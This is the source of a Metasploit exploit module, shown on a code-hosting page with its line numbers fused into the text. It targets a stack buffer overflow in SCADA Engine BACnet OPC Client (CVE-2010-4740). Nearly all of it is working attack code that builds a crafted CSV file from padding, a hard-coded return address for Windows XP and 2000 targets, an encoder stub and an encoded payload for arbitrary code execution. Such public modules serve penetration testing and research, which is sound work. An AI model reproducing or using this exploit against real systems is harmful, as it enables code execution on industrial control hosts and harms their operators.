Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/fileformat/bacnet_csv.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(update_info(info,12'Name' => 'BACnet OPC Client Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in SCADA15Engine BACnet OPC Client v1.0.24. When the BACnet OPC Client16parses a specially crafted csv file, arbitrary code may be17executed.18},19'License' => MSF_LICENSE,20'Author' => [ 'Jeremy Brown', 'MC' ],21'References' =>22[23[ 'CVE', '2010-4740' ],24[ 'OSVDB', '68096'],25[ 'BID', '43289' ],26[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-10-264-01' ],27],28'DefaultOptions' =>29{30'EXITFUNC' => 'process',31},32'Payload' =>33{34'MinNops' => 0,35'MaxNops' => 0,36'Space' => 698,37'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),38'StackAdjustment' => -3500,39'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",40'EncoderOptions' =>41{42'BufferRegister' => 'ECX',43},44},45'Platform' => 'win',46'Targets' =>47[48[ 'Windows XP SP3 English', { 'Ret' => 0x77e26323 } ],49[ 'Windows 2000 SP4 English', { 'Ret' => 0x77e14c29 } ],50],51'Privileged' => false,52'DisclosureDate' => '2010-09-16',53'DefaultTarget' => 0))5455register_options(56[57OptString.new( 'FILENAME', [ false, 'The file name.', 'msf.csv' ]),58])5960end6162def exploit6364csv = "OPC_TAG_NAME,OBJECT_TYPE,INSTANCE,OBJECT_NAME\n\\"65csv << rand_text_alpha_upper(185)66csv << [target.ret].pack('V') + rand_text_alpha_upper(4)67csv << payload.encoded + rand_text_alpha_upper(750 - payload.encoded.length)68csv << "\\scada,0,0,\n"6970print_status("Creating '#{datastore['FILENAME']}' file ...")7172file_create(csv)7374end75end767778